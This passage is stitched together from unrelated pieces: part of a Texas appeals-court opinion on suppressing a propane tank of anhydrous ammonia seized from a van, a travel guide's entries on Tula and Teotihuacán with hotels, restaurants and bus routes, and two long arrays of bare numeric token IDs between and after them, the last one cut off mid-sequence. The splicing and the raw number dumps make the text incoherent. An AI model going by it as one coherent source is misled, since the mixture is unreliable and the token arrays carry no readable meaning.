Deputy Deford believed the discoloration or corrosion around the neck of the bottle or tank to be an indication that the bottle or tank contained anhydrous ammonia, used in the manufacture of methamphetamine. Deputy Deford called the drug task force to investigate the possible anhydrous ammonia in the van. Wichita Falls Police Officer John Spragins, a member of the North Texas Drug Task Force, responded to Deputy Deford's call to Keehn's home. Officer Spragins saw the van parked in the driveway, looked inside the van, observed the propane tankthe type used for an outdoor gas grilland observed the discoloration on the tank's valve. He believed that the discoloration indicated that the propane tank had been used to store anhydrous ammonia; he knew that a gas grill propane tank is not an approved container to carry anhydrous ammonia and that anhydrous ammonia is utilized in the manufacture of methamphetamine. Officer Spragins seized the tank, tested the substance in the tank, and determined that it was anhydrous ammonia. Because the propane tank was not an authorized container for transporting anhydrous ammonia, Officer Spragins arrested Keehn. The grand jury indicted Keehn for possession of anhydrous ammonia with intent to unlawfully manufacture a controlled substance, namely, methamphetamine. Keehn filed a motion to suppress the evidence seized from the van. After a hearing, the trial court denied Keehn's motion, and Keehn subsequently entered into a plea bargain agreement. He pleaded guilty in exchange for an agreement that the prosecution would recommend seven years' confinement in the Texas Department of Criminal Justice Institutional Division and that the trial court would certify his right to appeal the suppression ruling. This appeal followed. III. LEGAL SEARCH AND SEIZURE In his sole point, Keehn argues that the search of the van and the seizure of the tank and its contents violated the Fourth Amendment of the United States Constitution and Article I, Section 9 of the Texas Constitution. Specifically, Keehn alleges that the plain view exception to the warrant requirement does not apply here because it was not immediately apparent to officers that the propane tank contained anhydrous ammonia and because the officers *56 did not have a lawful right to enter the driveway or the van. A. Standard of Review We review a trial court's ruling on a
[ 8914, 285, 3277, 25532, 46775, 1954, 42029, 434, 1481, 15, 187, 187, 2374, 253, 39694, 434, 6146, 3402, 403, 690, 273, 253, 1113, 87, 723, 326, 2378, 13750, 253, 2605, 15, 2053, 921, 253, 14217, 273, 253, 27237, 7367, 27, 16361, 86, 1032, 13, 49145, 4787, 13, 299, 23044, 9123, 15060, 13, 285, 752, 778, 320, 247, 1966, 1481, 275, 3277, 25532, 46775, 1954, 42029, 434, 6208, 15, 187, 187, 64, 3594, 266, 657, 383, 1950, 9705, 80, 64, 187, 187, 4125, 10699, 1417, 13, 253, 50276, 3594, 266, 657, 383, 1950, 9705, 80, 50276, 9, 15611, 657, 383, 487, 1657, 10, 8725, 2112, 253, 2914, 273, 253, 39694, 13, 10268, 253, 499, 11983, 15, 380, 8805, 10955, 27251, 342, 29353, 8927, 6337, 253, 2978, 273, 253, 7423, 13, 6830, 281, 7319, 24061, 285, 642, 9143, 20764, 39781, 275, 253, 499, 11983, 15, 187, 187, 64, 6869, 366, 81, 386, 965, 64, 187, 187, 44982, 253, 6146, 1930, 273, 25017, 30836, 504, 378, 310, 253, 50276, 6869, 366, 81, 386, 965, 50276, 9, 6075, 21601, 8799, 582, 534, 310, 3387, 78, 1048, 13, 374, 15, 1099, 78, 1029, 285, 27251, 342, 17856, 6127, 285, 247, 4194, 273, 37094, 1474, 36934, 1966, 8413, 49004, 15, 1535, 1951, 3464, 273, 253, 3236, 6627, 9830, 342, 534, 954, 273, 308, 3627, 434, 5289, 497, 16264, 15, 187, 187, 64, 16281, 37831, 3277, 358, 3377, 64, 187, 187, 3351, 26639, 8935, 273, 25017, 30836, 504, 378, 13, 253, 50276, 9387, 6319, 77, 37831, 3277, 358, 3377, 50276, 9, 44441, 264, 21632, 10, 310, 247, 2962, 273, 35574, 285, 31944, 2196, 342, 625, 1698, 270, 44404, 285, 6619, 1113, 87, 723, 13, 581, 35668, 247, 44210, 273, 642, 9143, 15, 733, 369, 3164, 908, 323, 39781, 390, 45591, 12225, 15, 187, 187, 64, 52, 7080, 372, 45674, 7860, 3262, 30277, 48772, 353, 505, 2679, 64, 187, 187, 2374, 253, 2080, 1930, 273, 253, 499, 11983, 310, 247, 1854, 4283, 281, 253, 50276, 52, 7080, 372, 45674, 7860, 3262, 30277, 48772, 353, 505, 2679, 13, 247, 1355, 16064, 4907, 846, 581, 273, 253, 21101, 11644, 313, 66, 3416, 10, 665, 33536, 35842, 27960, 569, 1060, 15, 733, 3797, 1781, 4957, 2668, 432, 253, 2670, 13, 1690, 253, 5699, 4669, 273, 260, 552, 255, 2352, 313, 35686, 8442, 908, 347, 8109, 9930, 10, 285, 247, 5304, 6779, 273, 849, 253, 2670, 1537, 452, 3261, 275, 697, 4335, 15, 187, 187, 53, 3627, 434, 41289, 14, 3022, 50276, 8076, 16232, 13, 816, 745, 253, 795, 91, 1954, 1179, 80, 8291, 369, 629, 273, 253, 1668, 394, 14, 9888, 36598, 273, 5003, 29414, 15, 25081, 13, 697, 28395, 28061, 403, 25701, 275, 5328, 15, 535, 50276, 33669, 272, 187, 187, 24757, 293, 12000, 1752, 35884, 50276, 41, 2415, 3887, 50276, 5, 187, 187, 9, 50274, 40761, 14, 48549, 14, 883, 14, 2691, 28, 8280, 15, 16559, 1752, 1377, 255, 3627, 15, 681, 28, 17231, 32444, 388, 11421, 2184, 1903, 28, 256, 16, 69, 16, 1206, 353, 5, 16552, 16, 8320, 16, 15645, 28, 50274, 10, 831, 9848, 13, 8542, 2136, 8614, 310, 987, 275, 253, 2798, 273, 308, 3627, 13, 4441, 387, 253, 990, 273, 247, 6891, 34792, 6406, 313, 6204, 323, 253, 686, 20643, 4692, 8, 861, 481, 12000, 1752, 35884, 6131, 5540, 9956, 13, 512, 342, 10856, 5579, 13, 3055, 15336, 285, 1959, 38435, 14, 11125, 313, 783, 4602, 310, 1682, 275, 253, 9956, 8642, 281, 253, 16612, 481, 4913, 272, 2289, 310, 1475, 896, 13, 3066, 329, 1261, 4355, 41379, 5477, 4019, 15, 187, 187, 24757, 293, 10417, 330, 456, 1544, 50276, 41, 2415, 3887, 50276, 1890, 187, 187, 9, 50274, 40761, 14, 48549, 14, 2904, 14, 1012, 28, 8280, 15, 85, 3627, 27381, 15, 681, 16, 12022, 293, 68, 456, 1544, 28, 8784, 41379, 5477, 4019, 12708, 28, 391, 353, 5, 25, 1423, 13, 2870, 353, 5, 883, 3245, 14, 1047, 938, 28, 50273, 10, 329, 6406, 896, 432, 253, 499, 11983, 13, 253, 10417, 330, 456, 1544, 556, 690, 42570, 591, 661, 313, 66, 1355, 17409, 13, 275, 14, 4461, 7691, 453, 358, 7380, 13, 4707, 6079, 398, 285, 4389, 265, 10, 323, 253, 4376, 15, 6676, 273, 253, 3304, 9956, 3480, 3626, 1708, 13, 533, 253, 49130, 3959, 30352, 447, 285, 6406, 6849, 15, 1707, 434, 671, 247, 1270, 5438, 273, 2806, 14, 395, 14, 11300, 7963, 273, 308, 3627, 275, 253, 16612, 15, 380, 2316, 4376, 3797, 271, 2448, 12561, 15, 535, 50276, 38, 839, 187, 187, 36, 406, 1758, 444, 585, 1954, 78, 3737, 15878, 330, 1370, 3814, 284, 50276, 46, 4237, 48697, 50276, 5, 187, 187, 9, 48787, 32444, 388, 11421, 2184, 17181, 28, 1821, 6187, 1448, 44433, 353, 5, 1449, 28, 50274, 24, 312, 14, 24, 2617, 4200, 14, 20794, 13, 281, 721, 2617, 4146, 10, 50276, 8380, 1060, 323, 271, 7126, 795, 3767, 6187, 1448, 44433, 64, 313, 11746, 273, 253, 1388, 10, 326, 3797, 634, 4327, 273, 18377, 13, 2022, 17114, 824, 347, 795, 348, 3205, 294, 620, 32564, 64, 313, 1962, 3248, 14, 14653, 448, 27154, 10, 285, 795, 22009, 6597, 66, 64, 313, 66, 6906, 2624, 273, 31894, 13, 10238, 264, 9132, 10, 1108, 285, 795, 45877, 64, 313, 7779, 8043, 2149, 342, 5352, 9279, 481, 380, 24311, 36009, 13, 1977, 432, 253, 8576, 13, 310, 28576, 685, 253, 2870, 14743, 13, 2022, 17552, 2316, 15, 187, 187, 46, 3230, 50276, 12695, 9278, 1277, 26081, 50276, 5, 187, 187, 9, 50274, 40761, 2233, 14, 2405, 14, 1610, 28, 17231, 32444, 388, 11421, 2184, 2145, 28, 8910, 1448, 44433, 353, 5, 1857, 28, 50274, 26, 312, 14, 22, 2617, 4146, 14, 33228, 28, 50275, 10, 831, 2969, 39203, 10301, 11029, 247, 19649, 795, 3767, 6187, 1448, 44433, 64, 326, 3797, 2644, 18432, 255, 10238, 13, 21436, 18377, 285, 247, 31021, 273, 3626, 9279, 14709, 15, 1707, 434, 671, 247, 5438, 273, 43697, 466, 42803, 13, 15307, 371, 21040, 795, 8291, 572, 265, 324, 28769, 13, 256, 2121, 285, 3779, 6594, 15, 16942, 434, 5352, 13, 49618, 285, 36018, 15, 535, 50276, 27347, 1707, 708, 37811, 187, 187, 53, 3627, 434, 50276, 13097, 1305, 302, 50276, 9, 57, 280, 302, 9390, 8076, 77, 1638, 10, 50276, 261, 247, 2159, 2940, 432, 17207, 15, 3973, 14, 2437, 50276, 48, 26697, 30511, 50276, 9, 50274, 40761, 14, 48549, 14, 4196, 14, 361, 28, 8280, 15, 72, 11618, 15, 681, 15, 26652, 10, 50276, 67, 5123, 4288, 281, 16, 4064, 8987, 3228, 434, 37060, 19536, 70, 313, 46, 5, 3677, 13, 337, 12136, 3038, 13, 1046, 3387, 2909, 10, 285, 1480, 281, 16, 4064, 367, 607, 48309, 313, 46, 5, 4529, 13, 337, 11199, 3038, 13, 33081, 481, 329, 11804, 6613, 374, 2109, 14, 2437, 23444, 281, 253, 1072, 31684, 1046, 1458, 2909, 15, 535, 50276, 27347, 26134, 187, 187, 2042, 368, 12666, 275, 308, 3627, 407, 1685, 13, 253, 24746, 1039, 281, 755, 1475, 310, 327, 3174, 15, 1916, 3986, 253, 795, 91, 1954, 1179, 80, 64, 432, 253, 4660, 13, 1614, 987, 327, 1594, 280, 302, 9390, 8076, 77, 13, 840, 4745, 1669, 327, 8741, 5309, 1448, 416, 40759, 285, 2940, 767, 8336, 281, 388, 11421, 2184, 15, 11668, 247, 987, 327, 388, 11421, 2184, 13, 534, 3846, 14, 1727, 387, 33427, 372, 826, 45866, 36075, 13, 308, 3627, 434, 2022, 6278, 15, 187, 187, 1992, 3986, 253, 1503, 8440, 1780, 1452, 311, 33320, 3737, 4035, 2439, 253, 499, 11983, 281, 3277, 25532, 46775, 1954, 42029, 13, 271, 12994, 34792, 6406, 326, 5644, 281, 247, 3174, 8298, 689, 253, 308, 3627, 8281, 15, 11668, 253, 16303, 598, 253, 13599, 2189, 281, 253, 987, 13, 285, 4035, 2112, 308, 7391, 266, 14, 13569, 23026, 12892, 281, 253, 2670, 434, 6561, 13032, 15, 187, 187, 20810, 13, 253, 3874, 434, 1685, 4660, 19756, 271, 795, 358, 4904, 1452, 64, 313, 22738, 10662, 2451, 582, 534, 310, 20276, 323, 1388, 12512, 13906, 15153, 342, 36905, 15, 187, 187, 11387, 273, 10372, 187, 187, 7573, 302, 6356, 86, 317, 9435, 535, 50276, 37308, 1227, 13173, 87, 3495, 361, 78, 187, 187, 1552, 2570, 273, 13103, 25874, 2352, 13, 873, 17421, 752, 369, 2378, 19926, 80, 13429, 3737, 434, 6459, 2846, 13, 310, 2190, 253, 2919, 434, 954, 11580, 31684, 15, 380, 30108, 1981, 2670, 26662, 281, 253, 28478, 273, 253, 714, 1028, 255, 9435, 285, 18907, 522, 284, 275, 2426, 273, 697, 8453, 13, 285, 3780, 13476, 2217, 281, 1705, 1060, 588, 320, 11797, 407, 253, 35240, 20417, 1537, 273, 253, 2745, 302, 6356, 86, 317, 9435, 313, 442, 73, 14, 1368, 14, 4532, 14, 88, 1240, 14, 795, 76, 18272, 64, 2387, 23749, 15, 187, 187, 4531, 2456, 10294, 29510, 273, 8987, 3228, 13, 275, 247, 11129, 14, 804, 264, 745, 40719, 273, 253, 4009, 282, 372, 36912, 46591, 13, 2745, 302, 6356, 86, 317, 9435, 310, 1929, 323, 697, 767, 7863, 25874, 2352, 13, 253, 25017, 30836, 504, 1448, 8144, 313, 14819, 3358, 301, 273, 253, 4146, 10, 285, 253, 25017, 30836, 504, 372, 826, 47392, 313, 14819, 3358, 301, 273, 253, 16363, 582, 534, 25903, 253, 4558, 273, 253, 1313, 37489, 15, 2745, 302, 6356, 86, 317, 9435, 369, 8987, 434, 5962, 9129, 2846, 285, 253, 5347, 273, 752, 369, 3164, 8987, 434, 6253, 638, 14, 8389, 19239, 20986, 15, 14499, 4263, 253, 2670, 310, 20996, 13, 3738, 6142, 2066, 272, 253, 23570, 255, 304, 494, 48011, 23521, 310, 9286, 272, 285, 24597, 476, 320, 5699, 15, 380, 2670, 310, 1685, 10558, 275, 253, 4766, 273, 253, 1388, 13, 594, 1469, 2393, 17587, 745, 15, 187, 187, 510, 2846, 434, 9860, 2098, 369, 17944, 275, 253, 2393, 629, 273, 253, 337, 296, 5331, 5446, 13, 285, 253, 25017, 30836, 504, 1448, 8144, 369, 6312, 1108, 689, 271, 4321, 15985, 45342, 1108, 407, 5446, 7783, 15, 380, 1551, 273, 253, 2846, 369, 3715, 875, 670, 5446, 10257, 285, 12891, 15, 8404, 13, 6938, 285, 5054, 2616, 16579, 2348, 697, 10343, 285, 27585, 13551, 275, 253, 854, 394, 5331, 15, 187, 187, 510, 2846, 369, 4272, 715, 19902, 407, 767, 1270, 44201, 326, 1313, 2822, 3905, 32982, 35813, 7896, 313, 783, 16415, 11391, 481, 2596, 273, 731, 13, 3515, 11467, 6146, 1253, 34542, 13, 310, 253, 8530, 2263, 91, 2960, 372, 3897, 14554, 797, 375, 313, 34, 7290, 273, 253, 16631, 10, 1108, 594, 1925, 984, 253, 1996, 13063, 442, 6113, 6566, 253, 1270, 9195, 27535, 352, 497, 8485, 7275, 1768, 13, 4270, 407, 33430, 323, 2745, 302, 6356, 86, 317, 9435, 434, 806, 36491, 15, 380, 2201, 5289, 403, 1745, 1245, 407, 247, 795, 22559, 438, 14, 85, 1752, 2771, 64, 3740, 13, 275, 534, 253, 11002, 11821, 273, 12293, 13, 39694, 14, 3022, 9195, 2882, 273, 1097, 1499, 18225, 31670, 22559, 438, 11824, 285, 24922, 31670, 85, 1752, 2771, 11824, 7118, 15, 1583, 497, 2223, 6107, 275, 30037, 285, 3295, 2920, 16264, 15, 5595, 273, 253, 2846, 369, 1160, 598, 273, 16252, 7006, 13, 690, 273, 534, 6221, 20654, 34183, 1940, 265, 15, 187, 187, 18760, 6465, 846, 697, 2965, 13, 2745, 302, 6356, 86, 317, 9435, 6376, 247, 31514, 5695, 2670, 323, 13063, 39766, 37283, 13, 665, 6566, 326, 512, 273, 253, 17373, 574, 31548, 3746, 1060, 281, 1265, 253, 5101, 4886, 387, 253, 5068, 273, 253, 686, 25512, 394, 1533, 4117, 41477, 407, 253, 13063, 442, 6113, 15, 733, 4558, 271, 1774, 31514, 5695, 2670, 27, 6763, 273, 1457, 11362, 34097, 265, 29447, 1060, 1016, 807, 281, 17019, 253, 2336, 2110, 1298, 249, 1004, 313, 17352, 3919, 655, 285, 3919, 3127, 10, 285, 281, 46026, 598, 253, 47955, 14120, 6566, 281, 29623, 1060, 15, 187, 187, 18765, 9129, 2745, 302, 6356, 86, 317, 9435, 6107, 625, 685, 1384, 34703, 10771, 13, 954, 273, 752, 476, 320, 2326, 3063, 8696, 2112, 4829, 374, 10294, 273, 253, 2263, 91, 2960, 372, 3897, 14554, 797, 375, 15, 378, 5123, 12666, 387, 247, 7137, 9096, 407, 253, 31438, 13032, 313, 33919, 337, 558, 1740, 643, 10032, 1972, 403, 4925, 407, 253, 5818, 3971, 1475, 253, 2670, 15, 1707, 403, 12102, 8783, 285, 13571, 1766, 21992, 387, 1016, 13032, 15, 5402, 13571, 4483, 368, 281, 294, 14, 9553, 3066, 667, 273, 731, 327, 253, 1072, 1388, 15, 380, 2670, 16064, 310, 816, 3304, 253, 2022, 9268, 13032, 313, 33919, 608, 481, 187, 187, 36, 736, 1397, 387, 253, 50276, 579, 968 ]	weapons and Quetzalcóatl's head. On the pyramid's north wall are some of the carvings that once surrounded the structure. These show the symbols of the warrior orders: jaguars, coyotes, eagles eating hearts, and what may be a human head in Quetzalcóatl's mouth. _Gran Vestíbulo_ Now roofless, the Gran Vestíbulo (Great Vestibule) extends along the front of the pyramid, facing the plaza. The stone bench carved with warriors originally ran the length of the hall, possibly to seat priests and nobles observing ceremonies in the plaza. _Coatepantli_ Near the north side of Pirámide B is the Coatepantli (Serpent Wall), which is 40m long, 2.25m high and carved with geometric patterns and a row of snakes devouring human skeletons. Traces remain of the original bright colors with which most of Tula's structures were painted. _Palacio Quemado_ Immediately west of Pirámide B, the Palacio Quemado (Burned Palace) is a series of halls and courtyards with more low benches and relief carvings, one depicting a procession of nobles. It was probably used for ceremonies or reunion meetings. _Sala de Orientación Guadalupe Mastache_ On the far side of the plaza is a path leading to the Sala de Orientación Guadalupe Mastache, a small museum named after one of the archaeologists (a woman) who pioneered excavations here. It includes large items taken from the site, including the huge feet of caryatids (female figures used as supporting columns) and a visual representation of how the site might have looked in its prime. Tula's fortress-like cathedral, just off the _zócalo,_ was part of the 16th-century monastery of San José. Inside, its vault ribs are decorated in gold. Sleeping Hotel Casablanca HOTEL $ ( 773-732-11-86; www.casablancatula.com; Pasaje Hidalgo 11; s/d/tr M$350/400/450; ) This comfortable, practical business hotel is right in the heart of Tula, located at the end of a narrow pedestrian street (look for the 'Milano' sign). Casablanca offers 36 rooms, all with cable TV, private bathroom and free wi-fi (the connection is best in the rooms closest to the lobby). Parking access is around back, via Avenida Zaragoza. Hotel Real Catedral HOTEL $$ ( 773-732-08-13; www.tulaonline.com/hotelcatedral; Av Zaragoza 106; r M$822, ste M$1183-1420; ) A street back from the plaza, the Real Catedral has some luxurious perks (a small gym, in-room coffeemakers, hair dryers and safes) for the price. Many of the inside rooms lack natural light, but the suites offer balconies and street views. There's also a great selection of black-and-white photos of Tula in the lobby. The room price includes an American breakfast. Eating Cocina Económica Las Cazuelas MEXICAN $ (Pasaje Hidalgo 129; menú del día M$40; 7am-7pm Mon-Sat, to 6pm Sun) Come here for an excellent _menú del día_ (menu of the day) that includes your choice of soup, main dishes such as _chiles rellenos_ (cheese-filled chilis) and _milanesa_ (a thin cut of fried, breaded meat) – and _agua_ (water flavored with fresh fruit). The upstairs balcony, away from the kitchen, is cooler than the steamy, main dining room. Mana VEGETARIAN $ ( 773 100-31-33; Pasaje Hidalgo 13; menu del día M$45; 9am-5pm Sun-Fri; ) This simple vegetarian restaurant serves a generous _menú del día_ that includes wholewheat bread, vegetable soup and a pitcher of natural fruit juice. There's also a selection of veggie burgers, taquitos _,_ quesadillas, soups and salads. Everything's fresh, hearty and homemade. Getting There & Away Tula's bus depot (Xicoténcatl 14) is a short walk from downtown. First-class Ovnibus ( 773-732-96-00; www.gvm.com.mx) buses travel to/from Mexico City's Terminal Norte (M$71, 1¾ hours, every 40 minutes) and direct to/from Pachuca (M$92, 1¼ hours, hourly). AVM runs 2nd-class buses to the same destinations every 15 minutes. Getting Around If you arrive in Tula by bus, the easiest way to get around is on foot. To reach the _zócalo_ from the station, turn right on Xicoténcatl, then immediately left on Rojo del Río and walk two blocks to Hidalgo. Take a right on Hidalgo, which dead-ends at Plaza de la Constitución, Tula's main square. To reach the Zona Arqueológica continue across the plaza to Quetzalcóatl, an attractive pedestrian street that leads to a footbridge over the Tula river. Take the stairs up the hillside to the right, and continue along Toltan-Del Tesoro to the site's secondary entrance. Unfortunately, the town's bus station lacks an _empaque_ (baggage check), which is problematic for daytrippers traveling with luggage. Top of Chapter Teotihuacán 594 / Elev 2300m This complex of awesome pyramids, set amid what was once Mesoamerica's greatest city, is among the region's most visited destinations. The sprawling site compares to the ruins of the Yucatán and Chiapas in terms of its significance, and anyone lucky enough to come here will be inspired by the astonishing technological might of the Teotihuacán (teh-oh-tee-wah- _kahn_ ) civilization. Set 50km northeast of Mexico City, in a mountain-ringed offshoot of the Valle de México, Teotihuacán is known for its two massive pyramids, the Pirámide del Sol (Pyramid of the Sun) and the Pirámide de la Luna (Pyramid of the Moon), which dominate the remains of the metropolis. Teotihuacán was Mexico's biggest ancient city and the capital of what was probably Mexico's largest pre-Hispanic empire. Exploring the site is fascinating, although rebuffing the indefatigable hawkers is exhausting and crowds can be huge. The site is busiest in the middle of the day, so going early pays off. The city's grid plan was plotted in the early part of the 1st century AD, and the Pirámide del Sol was completed – over an earlier cave shrine – by AD 150. The rest of the city was developed between about AD 250 and 600. Social, environmental and economic factors hastened its decline and eventual collapse in the 8th century. The city was divided into quarters by two great avenues that met near La Ciudadela (the Citadel). One of them, running roughly north–south, is the famous Calzada de los Muertos (Avenue of the Dead) – so called because the later Aztecs believed the great buildings lining it were vast tombs, built by giants for Teotihuacán's first rulers. The major structures are typified by a _talud-tablero_ style, in which the rising portions of stepped, pyramid-like buildings consist of both sloping _(talud)_ and upright _(tablero)_ sections. They were often covered in lime and colorfully painted. Most of the city was made up of residential compounds, some of which contained elegant frescoes. Centuries after its fall, Teotihuacán remained a pilgrimage site for Aztec royalty, who believed that all of the gods had sacrificed themselves here to start the sun moving at the beginning of the 'fifth world,' inhabited by the Aztecs. It remains an important pilgrimage site: thousands of New Age devotees flock here each year to celebrate the vernal equinox (between March 19 and March 21) and to soak up the mystical energies believed to converge here. Though ancient Teotihuacán covered more than 20 sq km, most of what can be seen today lies along nearly 2km of the Calzada de los Muertos. Buses arrive at a traffic circle by the southwest entrance (Gate 1); four other entrances are reached by the ring road around the site. There are parking lots and ticket booths at each entrance. Your ticket allows you to re-enter via any of them on the same day. The site museum is just inside the main east entrance (Gate 5). Crowds at the ruins
[ 253, 13232, 273, 634, 2852, 657, 30948, 5591, 3123, 4392, 3322, 3871, 8506, 15, 3954, 891, 3343, 323, 253, 892, 471, 15, 187, 187, 2302, 892, 518, 432, 479, 13, 3707, 281, 1333, 326, 253, 2419, 4376, 4154, 310, 417, 32708, 562, 407, 253, 9990, 15, 187, 187, 60, 21049, 7082, 81, 7082, 12509, 62, 4752, 78, 781, 32871, 12509, 62, 4159, 27, 187, 34, 1643, 2792, 281, 2619, 598, 327, 5701, 1160, 1078, 15, 187, 510, 952, 665, 1705, 281, 436, 2586, 432, 253, 444, 16, 54, 762, 253, 1959, 4866, 273, 18213, 285, 1265, 627, 1211, 3795, 656, 16, 1881, 8410, 403, 417, 347, 1175, 347, 253, 8442, 1421, 368, 281, 1158, 13, 347, 597, 403, 7429, 281, 275, 789, 5373, 604, 253, 2583, 253, 6233, 588, 417, 3835, 2105, 273, 3811, 1227, 624, 26570, 15, 1893, 253, 755, 1133, 8349, 2, 187, 2042, 597, 789, 1881, 7091, 285, 452, 247, 2021, 1060, 597, 403, 7429, 281, 320, 327, 253, 2675, 2419, 1618, 285, 326, 2097, 2792, 2097, 9910, 390, 247, 2823, 324, 318, 15, 8948, 3055, 33437, 342, 247, 1133, 483, 432, 253, 22094, 15, 187, 1552, 588, 1361, 3055, 2659, 42730, 11280, 598, 253, 2419, 272, 5739, 13, 534, 588, 7450, 598, 7911, 273, 9076, 15, 187, 44, 2352, 46772, 5046, 597, 13414, 2312, 16449, 5990, 14535, 15, 831, 2097, 634, 5753, 11089, 625, 984, 1679, 9732, 673, 15, 187, 1394, 778, 1158, 436, 588, 417, 320, 247, 7664, 281, 368, 13, 17706, 604, 368, 403, 2444, 323, 247, 3811, 342, 247, 2021, 352, 588, 15, 187, 2042, 368, 403, 327, 5373, 352, 588, 15, 187, 6080, 3672, 273, 436, 2586, 452, 644, 11069, 407, 1527, 13163, 13414, 323, 581, 1273, 1158, 352, 31451, 5108, 275, 399, 1372, 10452, 352, 588, 15, 187, 510, 2170, 285, 4852, 588, 320, 4391, 285, 627, 588, 320, 642, 1469, 896, 15, 187, 2214, 634, 1211, 13232, 285, 253, 13232, 273, 634, 2852, 657, 30948, 5591, 3123, 4392, 3322, 3871, 8506, 15, 187, 4125, 891, 3343, 323, 253, 892, 471, 4681, 16, 81, 7082, 16, 21049, 62, 2302, 892, 518, 432, 479, 13, 3707, 281, 1333, 326, 253, 2419, 4376, 4154, 310, 417, 32708, 562, 407, 253, 9990, 15, 18448, 29140, 187, 187, 4752, 78, 781, 4159, 2866, 187, 187, 34, 1643, 2792, 281, 2619, 598, 327, 5701, 1160, 1078, 15, 380, 952, 665, 1705, 281, 436, 2586, 432, 253, 444, 16, 54, 762, 253, 1959, 4866, 273, 18213, 285, 1265, 627, 1211, 3795, 656, 16, 1881, 8410, 403, 417, 347, 1175, 347, 253, 8442, 1421, 368, 281, 1158, 13, 347, 597, 403, 7429, 281, 275, 789, 5373, 604, 253, 2583, 253, 6233, 588, 417, 3835, 2105, 273, 3811, 1227, 624, 26570, 15, 1893, 253, 755, 1133, 8349, 2, 1310, 597, 789, 1881, 7091, 285, 452, 247, 2021, 1060, 597, 403, 7429, 281, 320, 327, 253, 2675, 2419, 1618, 285, 326, 2097, 2792, 2097, 9910, 390, 247, 2823, 324, 318, 15, 8948, 3055, 33437, 342, 247, 1133, 483, 432, 253, 22094, 15, 831, 588, 1361, 3055, 2659, 42730, 11280, 598, 253, 2419, 272, 5739, 13, 534, 588, 7450, 598, 7911, 273, 9076, 15, 29219, 46772, 5046, 597, 13414, 2312, 16449, 5990, 14535, 15, 831, 2097, 634, 5753, 11089, 625, 984, 1679, 9732, 673, 15, 1422, 778, 1158, 436, 588, 417, 320, 247, 7664, 281, 368, 13, 17706, 604, 368, 403, 2444, 323, 247, 3811, 342, 247, 2021, 352, 588, 15, 1310, 368, 403, 327, 5373, 352, 588, 15, 3808, 3672, 273, 436, 2586, 452, 644, 11069, 407, 1527, 13163, 13414, 323, 581, 1273, 1158, 352, 31451, 5108, 275, 399, 1372, 10452, 352, 588, 15, 380, 2170, 285, 4852, 588, 320, 4391, 285, 627, 588, 320, 642, 1469, 896, 15, 1198, 634, 1211, 13232, 285, 253, 13232, 273, 634, 2852, 657, 30948, 5591, 3123, 4392, 3322, 3871, 8506, 15, 3954, 891, 3343, 323, 253, 892, 471, 15, 187, 187, 2302, 892, 518, 432, 479, 13, 3707, 281, 1333, 326, 253, 2419, 4376, 4154, 310, 417, 32708, 562, 407, 253, 9990, 15, 187, 187, 29064, 27, 577, 187, 187, 48853, 13057, 2296, 1051, 24, 27, 1731, 2617, 4200, 655, 2552, 1638, 187, 187, 42, 1663, 13, 1663, 1265, 281, 7664, 672, 8870, 952, 327, 1060, 3176, 281, 2997, 326, 4292, 987, 281, 7185, 273, 6519, 13, 4483, 731, 281, 689, 10539, 253, 1386, 285, 1056, 7234, 326, 651, 417, 320, 12207, 275, 247, 2454, 281, 2454, 7827, 15, 496, 958, 309, 1158, 253, 4292, 326, 10507, 3212, 616, 15487, 653, 20309, 11626, 326, 39931, 327, 9239, 13, 5082, 626, 1333, 41001, 281, 247, 44165, 604, 253, 7827, 3589, 626, 327, 1386, 15, 309, 717, 5211, 281, 8881, 285, 2997, 253, 1416, 6789, 672, 627, 403, 1027, 2792, 273, 1859, 13, 533, 309, 588, 417, 46272, 281, 690, 273, 253, 440, 44167, 4215, 22630, 285, 253, 1625, 1981, 562, 273, 2176, 2390, 326, 6569, 672, 2176, 4292, 476, 10507, 3212, 616, 15487, 15, 309, 588, 3343, 281, 320, 1925, 19695, 1758, 390, 17927, 1669, 382, 390, 253, 643, 362, 587, 28737, 326, 310, 908, 327, 1060, 13, 285, 275, 11196, 309, 588, 320, 1469, 1977, 2, 187, 187, 42, 1663, 13, 1663, 1265, 281, 7664, 672, 8870, 952, 327, 1060, 3176, 281, 2997, 326, 4292, 987, 281, 7185, 273, 6519, 13, 4483, 731, 281, 689, 10539, 253, 1386, 285, 1056, 7234, 326, 651, 417, 320, 12207, 275, 247, 2454, 281, 2454, 7827, 15, 496, 958, 309, 1158, 253, 4292, 326, 10507, 3212, 616, 15487, 653, 20309, 11626, 326, 39931, 327, 9239, 13, 5082, 626, 1333, 41001, 281, 247, 44165, 604, 253, 7827, 3589, 626, 327, 1386, 15, 309, 717, 5211, 281, 8881, 285, 2997, 253, 1416, 6789, 672, 627, 403, 1027, 2792, 273, 1859, 13, 533, 309, 588, 417, 46272, 281, 690, 273, 253, 440, 44167, 4215, 22630, 285, 253, 1625, 1981, 562, 273, 2176, 2390, 326, 6569, 672, 2176, 4292, 476, 10507, 3212, 616, 15487, 15, 309, 588, 3343, 281, 320, 1925, 19695, 1758, 390, 17927, 1669, 382, 390, 253, 643, 362, 587, 28737, 326, 310, 908, 327, 1060, 13, 285, 275, 11196, 309, 588, 320, 1469, 1977, 2, 48853, 13057, 187, 187, 42, 1663, 13, 1663, 1265, 281, 7664, 672, 8870, 952, 327, 1060, 3176, 281, 2997, 326, 4292, 987, 281, 7185, 273, 6519, 13, 4483, 731, 281, 689, 10539, 253, 1386, 285, 1056, 7234, 326, 651, 417, 320, 12207, 275, 247, 2454, 281, 2454, 7827, 15, 496, 958, 309, 1158, 253, 4292, 326, 10507, 3212, 616, 15487, 653, 20309, 11626, 326, 39931, 327, 9239, 13, 5082, 626, 1333, 41001, 281, 247, 44165, 604, 253, 7827, 3589, 626, 327, 1386, 15, 309, 717, 5211, 281, 8881, 285, 2997, 253, 1416, 6789, 672, 627, 403, 1027, 2792, 273, 1859, 13, 533, 309, 588, 417, 46272, 281, 690, 273, 253, 440, 44167, 4215, 22630, 285, 253, 1625, 1981, 562, 273, 2176, 2390, 326, 6569, 672, 2176, 4292, 476, 10507, 3212, 616, 15487, 15, 309, 588, 3343, 281, 320, 1925, 19695, 1758, 390, 17927, 1669, 382, 390, 253, 643, 362, 587, 28737, 326, 310, 908, 327, 1060, 13, 285, 275, 11196, 309, 588, 320, 1469, 1977, 2, 187, 187, 29064, 27, 428, 21, 187, 187, 4614, 35250, 2296, 1051, 26, 27, 1731, 2617, 4200, 655, 2552, 1638, 187, 187, 22492, 17869, 19, 4159, 2866, 187, 187, 18448, 29140, 4159, 2866, 187, 187, 3299, 27, 604, 368, 1239, 619, 3302, 1501, 891, 753, 5742, 326, 